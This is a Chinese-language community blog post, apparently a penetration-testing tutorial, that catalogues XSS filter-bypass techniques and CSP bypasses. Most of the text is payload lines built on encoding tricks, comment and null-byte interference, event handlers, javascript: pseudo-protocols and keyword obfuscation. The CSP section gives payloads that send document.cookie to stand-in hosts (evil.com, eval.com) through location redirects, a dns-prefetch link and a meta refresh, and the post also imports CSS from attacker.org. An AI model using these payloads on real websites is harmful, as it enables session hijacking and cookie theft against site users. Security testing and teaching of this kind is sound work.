【xss绕过】一般测试步骤、绕过方法:触发事件、干扰、编码……

举报
黑色地带(崛起) 发表于 2023/02/16 15:52:25 2023/02/16
【摘要】 【xss绕过】一般测试步骤、绕过方法:触发事件、干扰、编码……

【xss绕过】一般测试步骤、绕过方法:触发事件、干扰、编码……

 目录

一、进行xss测试步骤 

二、引号尖括号

2.1、方法一:单双引号等符号乱加一通

2.2、方法二:用其他编码来替代引号

2.3、方法三:当尖括号被过滤时

三、重写绕过

四、特殊符号干扰

4.1、方法一:加各种符号干扰

4.2、方法二:添加注释干扰

五、使用‘空’干扰

5.1、方法一:空格、回车、Tab

5.2、方法二:制表符、换行符、回车符

5.3、方法三:空字节

六、编码:

6.1、方法一:符号编码

6.2、方法二:对语句进行编码

七、加密解密算法

7.1、编码一:decodeURIComponent()

7.2、编码二:encodeURI()

7.3、编码三:escape()

7.4、编码四:base64编码

八、js

8.1、js伪协议

8.2、js远程包含

九、HTML标签属性

9.1、方法一:利用HTML的标签

9.2、方法二:进一步对标签属性进行编码

十、CSS样式表

10.1、方法一:标签属性值利用

10.2、方法二:IE 下利用 expression

10.3、方法三:调用外部js

十一、转义字符

十二、数据溢出

12.1、方法一:绕过长度限制

12.2、方法二:打通文本框

十三、JavaScript 事件

13.1、方法一:触发事件

13.2、方法二:自发事件 

十四、字符集编码

十五、双引号配对

十六、语法漏洞

十七、Unicode分隔符

十八、敏感关键字符绕过

 18.1、字符串拼接与混淆

18.2、编码解码

18.3、location.*、window.name

18.4、绕过-过滤“.”

18.5、绕过-过滤“()”

18.6、绕过-过滤空格

18.7、svg标签

十九、内容安全策略(CSP)绕过

19.1、CSP配置错误

CSP策略配置错误的场景:

19.2、unsafe-inline下的绕过

19.3、script-src'self'规则绕过

19.4、CRLF导致的绕过


编辑

(和SQL注入有相同点,但是还有很多补充点)


一、进行xss测试步骤 

 
1、找框,然后见框就插
1、框中输入一些字符(要方便在前端代码中找到位置,如66666)
2、按下Ctrl+Shift+I(有的的是F12应该)进入开发者模式,然后按Ctrl+F键,搜索框搜索66666
3、一般在value="66666"中,或包含在div、span等其他的标签中
4、一般先考虑闭合标签再构造或利用伪协议,或者用burp的payload等方法


WAF一般可以检测到变形script

一般手工试有没有可能有xss漏洞

然后再使用burp等工具来跑

编辑




二、引号尖括号

2.1、方法一:单双引号等符号乱加一通

(这个还是交给burp工具中的payload来做吧)

2.2、方法二:用其他编码来替代引号

双引号 (")       "        "

符号(&)        &        &

小于号(<)        &#60;        &lt;

大于号(>)        &#62;        &gt;


原始:<script>alert("XSS")</script>

变换1:<script>alert(&quot;XSS&quot;)</script>

变换2:<script>alert(&#38;XSS&#38;)</script>
……

(一般都会对script进行拦截,所以考虑结合用)


2.3、方法三:当尖括号被过滤时

我们可以利用 /进行结束

但是只在HTML4及以前,现在没用了



三、重写绕过

<scri<script>pt>alert("hello world!")</scri</script>pt>

如果只循环一次的话,只会去掉检测到第一个<script>,然后又形成了一个新的<script>

如果是替换的话,另当别论


四、特殊符号干扰

4.1、方法一:加各种符号干扰

{(@/ %#^&·····

在html中"/"表结束


4.2、方法二:添加注释干扰

<scri<!--hello-->pt>alert("XSS")</scri<!--hello-->pt>

<scri<!--hello-->pt>解析执行时候又回了<script>

后端可能无法识别到script漏洞,但执行的时候注释里面的被注释掉了,就又变回了<script>

编辑



五、使用‘空’干扰

5.1、方法一:空格、回车、Tab


5.2、方法二:制表符、换行符、回车符

其实也就是对这些符号的一个转码

然后返回客户端解析执行的时候能被正确执行

Type

Tab

换行

回车

URL

%09

%10

%13

MinimalSizedHex

&#x9

&#xA

&#xD

MaximumSizedHex

&#x0000009;

&#x000000A;

&#x000000D;

MinimumSizedDecimal

&#9

&#10

&#13

MaximumSizedDecimal

&#x0000009;

&#x0000009;

&#0000009;


5.3、方法三:空字节

用于PHP 5.3.8以下的版本

空字符(%00)使得过滤器不能看到完整的<script>标签(IE6.0,IE7.0)

常用来绕过mod_security防火墙

<s%00cript>alert(1);</s%00cript>

<s%00c%00r%00i%00p%00t>alert(1);</s%00c%00r%00%00ip%00t>



六、编码:

根本原则:后台识别不出来,但是传到客户端服务器后能够被正常的解析执行

6.1、方法一:符号编码

#:%23;
. :%2e;
+ :%2b;
< :%3c;
>: %3e;
!:%21;
空格:%20;
&: %26;
(:%28;
): %29;
”:%22;
’ :%27;


6.2、方法二:对语句进行编码

首先使用的编码,要是HTML最后能够解析执行的

目前国内HTML流行的编码有有utf-8、gb2312这两种编码方法

这里可能需要考虑,如果当你输入的是编码,如果又给你编码一次,最后解码的时候,可能只能解码到编码后的语句


 

编辑


七、加密解密算法


7.1、编码一:decodeURIComponent()

浏览器支持(常用的):Google、Microsoft Edge、火狐

函数对 URI 组件进行编码,此函数对特殊字符进行编码。此外,它还对以下字符进行编码: , / ? : @ & = + $ #

使用:encodeURIComponent(uri)

示例:

var uri = "https://…………";

var res = encodeURIComponent(uri);



7.2、编码二:encodeURI()

浏览器支持(常用的):Google、Microsoft Edge、火狐

函数通过将特定字符的每个实例替换为一个、两个、三或四转义序列来对统一资源标识符 (URI) 进行编码

此函数对特殊字符进行编码,除了: , / ? : @ & = + $ #(请使用 encodeURIComponent() 对这些字符进行编码

使用:encodeURI(uri)

示例:

var uri = "my test.asp?name=ståle&car=saab";

var res = encodeURI(uri);



7.3、编码三:escape()

escape()对字符串进行编码,不推荐使用 escape() 函数(有的浏览器已经废弃)

使字符串具有可移植性,这样它就可以通过任何网络传输到任何支持 ASCII 字符的计算机。

此函数对特殊字符进行编码,但以下字符除外: * @ - _ + . /


使用:escape(string)

示例:

document.write(escape("Need tips? Visit W3School!"));



7.4、编码四:base64编码

使得二进制数据在解释成 radix-64 的表现形式后能够用 ASCII 字符串的格式表示出来

JavaScript 中,有两个函数被分别用来处理解码和编码 base64 字符串

atob() //ASCII to Base64

btoa() //Base64 to ASCII


示例:

var str = "xxx";

var enc = window.btoa(str);

var dec = window.atob(enc);



八、js

8.1、js伪协议

形式:javascript:[代码]

示例:<table background="javascript:alert(1)"></table>

支持伪协议的属性有:href,lowsrc,bgsound,background,action,dynsrc


8.2、js远程包含

<link rel=import href="http://xxx/a.js">


编辑


九、HTML标签属性

9.1、方法一:利用HTML的标签

通常HTML标记中的属性都支持javascript:[code]伪协议的形式

并非所有浏览器都支持,并非所有的属性值都能产生xss,可以使用下面的属性值来测试 

href=、src=、lowsrc=、bgsound=、background=、value=、action=、dynsrc=

示例:

<table background="javascript:alert(/xss/)"></table>

<img src="javascript:alert('xss');"></img>



9.2、方法二:进一步对标签属性进行编码

利用HTML支持ASCII码,将属性值转码为ASCII码的形式

<img src="javascript:alert('xss');">

转码后

<img src="javascrip&#116&#58alert(/xss/);">


十、CSS样式表

(一般就是利用它的style属性或者标签)

10.1、方法一:标签属性值利用

(浏览器的不同会导致CSS构造不一样)

<div style="background-image:url(javascript:alert('XSS'))></div>

<style>

body {background-image:url("javascript:alert('xss')")}

</style>



10.2、方法二:IE 下利用 expression


CSS中使用expression只有IE才能识别。IE5及其以后版本支持在CSS中使用expression,用来把CSS属性和Javascript表达式关联起来,这里的CSS属性可以是元素固有的属性,也可以是自定义属性

eg:

<div style="color: expression(alert('XSS'))">

过滤器会检查关键字 style(因此后面不能跟<),再 expression:

构造:

<div style="color: '<'; color: expression(alert('XSS'))">


10.3、方法三:调用外部js

IE 浏览器支持在 CSS 中扩展 JavaScript,称为动态特性。

允许加载一个外部 CSS 样式表是存在安全风险的,导致可以在原始页面中执行js代码

<style>

@im\port url("http://attacker.org/malicious.css");

加\是为了绕过过滤器检测,但IE能识别

</style>

malicious.css:

body {undefined

    color: expression(alert('XSS'));

}

 



标签 描述
<style> 定义样式定义。
<link> 定义资源引用。
<div> 定义文档中的节或区域(块级)。
<span> 定义文档中的行内的小块或区域。
<font> 规定文本的字体、字体尺寸、字体颜色。不赞成使用。请使用样式。
<basefont> 定义基准字体。不赞成使用。请使用样式。
<center> 对文本进行水平居中。不赞成使用。请使用样式。


 

十一、转义字符

所有的ASCII码都可以用“\”加数字(一般是8进制数字)来表示。 而C语言中定义了一些字母前加"\"来表示常见的那些不能显示的ASCII字符,如\0,\t,\n等,就称为转义字符,因为后面的字符,都不是它本来的ASCII字符意思

能够用来绕过一些简单的过滤器

例如:

<img src=`javascript:alert(\"XSS\")`>

<img src=`javascript:alert(\\"XSS\\")`>



十二、数据溢出

12.1、方法一:绕过长度限制


如果是后端服务器限制长度的话,那就无用功了。

如果限制10个,那就只取10个

就应该考虑考虑其他方法了



12.2、方法二:打通文本框

绕过有2个挨着的文本框,通过注释第一个之后的HTML代码,并注释第二个之前的HTML代码,  从而"打通" 两个input标签,实现了绕过长度的限制

示例:

第一个文本框:<input id=1 type="text" value="$var1" />

(输入"> <!--)

第二个文本框:<input id=2 type="text" value="$var2" />

(输入--> <script>alert(1)</script>)


最终:<script>alert(1)</script>" /><script>alert(1)</script>" />


编辑


十三、JavaScript 事件

13.1、方法一:触发事件

事件是可以被 JavaScript 侦测到的行为。 网页中的每个元素都可以产生某些可以触发 JavaScript 函数的事件。比方说,我们可以在用户点击某按钮时产生一个 onClick 事件来触发某个函数。JavaScript使我们有能力创建动态页面,网页中的每一个元素都可以产生某些触发JavaScript函数的事件

(找大概率触发事件)

示例:

<div οnclick="alert('xss')">当有人点击它后就会被执行。

(存在少量事件没有被过滤器过滤,要试出来)

eg:onmouseenter 事件:<div οnmοuseenter="alert('xss')">当用户鼠标移动到 div 上时就会触发代码

(结合其他的绕过,可以在属性和=之间插入空格……)
 

属性 当以下情况发生时,出现此事件 FF N IE
onabort 图像加载被中断 1 3 4
onblur 元素失去焦点 1 2 3
onchange 用户改变域的内容 1 2 3
onclick 鼠标点击某个对象 1 2 3
ondblclick 鼠标双击某个对象 1 4 4
onerror 当加载文档或图像时发生某个错误 1 3 4
onfocus 元素获得焦点 1 2 3
onkeydown 某个键盘的键被按下 1 4 3
onkeypress 某个键盘的键被按下或按住 1 4 3
onkeyup 某个键盘的键被松开 1 4 3
onload 某个页面或图像被完成加载 1 2 3
onmousedown 某个鼠标按键被按下 1 4 4
onmousemove 鼠标被移动 1 6 3
onmouseout 鼠标从某元素移开 1 4 4
onmouseover 鼠标被移到某元素之上 1 2 3
onmouseup 某个鼠标按键被松开 1 4 4
onreset 重置按钮被点击 1 3 4
onresize 窗口或框架被调整尺寸 1 4 4
onselect 文本被选定 1 2 3
onsubmit 提交按钮被点击 1 2 3
onunload 用户退出页面 1 2 3



13.2、方法二:自发事件 

就算别人客户端没点击你构造的代码,你也能自己产生事件来执行代码)

比如click、mouseover、load……

<input type="button" value="click me" onclick="alert('click me')"/>

<img src="#" onerror=alert(/xss/)>

onResume、onReverse、onRowDelete、onRowInserted、OnSeek、onSeek、onSynchRestored、onTimeError、onTrackChange、onURLFlip、onRepeat、onMediaComplete、onMediaComplete


 



 


十四、字符集编码

多见于IE中,要是能控制字符集编码,那就稳了

eg:

原始:

http://xxx.xxx.com/utf-32-1.php?charset=utf-8&name=father

插入预期:

http://xxx.xxx.com/utf-32-1.php?charset=utf-8&name=”><img  src=x οnerrοr=prompt(0);>

修改编码(这里改为了32)

http://xxx.xxx.com/utf-32-1.php?charset=utf-32&name=%E2%88%80%E3%B8%80%E3%B0

%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80




十五、双引号配对

通过在一个构造三个在一个标签里,另一个在其他位置

eg:

<img"""><script>alert('XSS')</script>">

应该是前2个双引号为一对,第三个和后面那一个双引号是一对

但是第一个和第三被认为是一对了

相当于:<img><script>alert('xss')</script>"&gt;



十六、语法漏洞

RFC声明中,节点名称不能是空格,否则在js中不能运行

并且<%, <//, <!,<?可以被解析成<

eg:

<script>alert(1);</script>

构造:

<%0ascript>alert(1);</script>

<%0bscript>alert(1);</script>

……



十七、Unicode分隔符

[on\w+\s*]规则过滤了所有on事件,可以使用fuzzing方法测试0×00到0xff验证有效性

x0b在Mod_security中已经被过滤,绕过的方法

<a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\

x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>



十八、敏感关键字符绕过

 18.1、字符串拼接与混淆

JavaScript中的对象方法可通过数组的方式进行调用

eg:调用alert函数:

window['alert'](/xss/);

是字符串,那么自然就可以通过拼接的方式进行混淆

window['al'+'ert'](/xss/)


18.2、编码解码

通过各种编码注入,然后解码后来实现绕过

HTML进制编码、CSS进制编码、Javascript进制编码、URL编码、JSFuck编码

XSSEE 3.0 Beta - by Monyer (evilcos.me) https://evilcos.me/lab/xssee/


使用JavaScript自带的Base64编码解码函数实现绕过

btoa函数可以将字符串编码为Base64字符串

atob函数可以将Base64字符串还原

eg:实现与alert(/xss/)相同的效果:

window[atob("YWxl"+"cnQ=")](/xss/)



18.3、location.*、window.name

会对输入的敏感关键字进行过滤,可以将XSS代码放置于其他不被浏览器提交至服务端的部分,如location.*、window.name等


location.*的构造如下:

http://example.com/xss.php?input=<input onfocus=outerHTML=decodeURI(location.hash)>#<img src=x onerror=alert(/xss/)>


window.name的构造页面如下:

<iframe src="http://example.com/xss.php?input=%3Cinput%20onfocus=location=window.name%3E" name="javascript:alert(/xss/)"></iframe>


18.4、绕过-过滤“.”

在JavaScript中,可以使用with关键字设置变量的作用域,利用此特性可以绕过对“.”的过滤

with(document)alert(cookie);


18.5、绕过-过滤“()”

在JavaScript中,可以通过绑定错误处理函数,使用throw关键字传递参数绕过对“()”的过滤

window.onerror=alert; throw 1;


18.6、绕过-过滤空格

使用换行符0x09、0x10、0x12、0x13、0x0a等字符代替空格绕过过滤

http://example.com/xss.php?input=<img%0asrc=x%0aonerror=alert(/xss/)>


在标签名称和第一个属性间也可以使用“/”代替空格

<input/onfocus=alert(/xss/)>


18.7、svg标签

svg内部的标签和语句遵循的规则是直接继承自xml而不是html,区别在于svg内部的script标签中可以允许存在一部分进制或编码后的字符(比如实体编码)

http://example.com/xss.php?input=1"><svg><script>alert%26%23x28;1%26%23x29</script></svg>





十九、内容安全策略(CSP)绕过

19.1、CSP配置错误

利用其错误配置对CSP进行绕过

eg:当包含unsafe-inline关键词但未使用nonce或hash策略时,可直接使用事件属性或script标签执行代码。


CSP策略配置错误的场景:

策略定义不全或未使用default-src来补全

script-src的源列表包含unsafe-inline(并且没有使用nonce或hash策略)或允许data伪协议。

script-src或object-src源列表包含攻击者可控制的部分源地址(文件上传、JSON Hijacking、SOME攻击),或者包含不安全的库。

源地址列表滥用通配符。




19.2、unsafe-inline下的绕过

CSP策略:

default-src 'self';script-src 'self' 'unsafe-inline'


绕过方法:

前提:script开启unsafe-inline模式,其余资源仅允许加载同域


方法一:DNS Prefetch

由于link标签最新的rel属性dns-prefetch尚未被加入CSP实现中,使用如下Payload即可发出一条DNS解析请求,在DNS服务器下查看解析日志便可得到如下内容:

<link rel="dns-prefetch" href="[cookie].evil.com">


方法二:location.href

大部分的网站跳转还是要依赖前端来进行,所以在CSP中是无法对location.href做出限制的,因此可以衍生出大量的绕过方式:

// bypass 1
<script>location='http://eval.com/cookie.php?cookie='+escape(document.cookie);</script>
// bypass 2
<script>
var a=document.createElement("a");
a.href='http://evil.com/cookie.php?cookie='+escape(document.cookie);
document.body.appendChild(a);
a.click();
</script>
// bypass 3
<meta http-equiv="refresh" content="1;url=http://evil.com/cookie.php?data=[cookie]">



19.3、script-src'self'规则绕过

CSP策略:

default-src 'self'; script-src 'self';


绕过方法:

关闭unsafe-inline模式,所有资源仅允许加载同域

利用:重定向(302跳转)导致的绕过




19.4、CRLF导致的绕过

为使注入的XSS代码不受CSP影响

HTTP响应头中注入[CRLF][CRLF]

将CSP头部分割至HTTP响应体中




编辑


【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。